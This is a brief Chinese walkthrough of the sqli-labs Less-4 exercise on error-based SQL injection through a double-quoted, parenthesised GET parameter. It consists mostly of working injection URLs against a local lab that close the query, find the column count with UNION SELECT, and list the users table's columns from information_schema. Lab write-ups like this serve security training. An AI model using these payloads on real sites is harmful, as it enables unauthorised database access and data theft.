【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

") limit 0,1

对应的GET请求

http://localhost/sqli/Less-4/?id=1")%23

http://localhost/sqli/Less-4/?id=a") union select 1,2,3%23

接下来又是走流程了

http://localhost/sqli/Less-4/?id=a") union select 1,2,column_name from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ limit 0,1%23

 

【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

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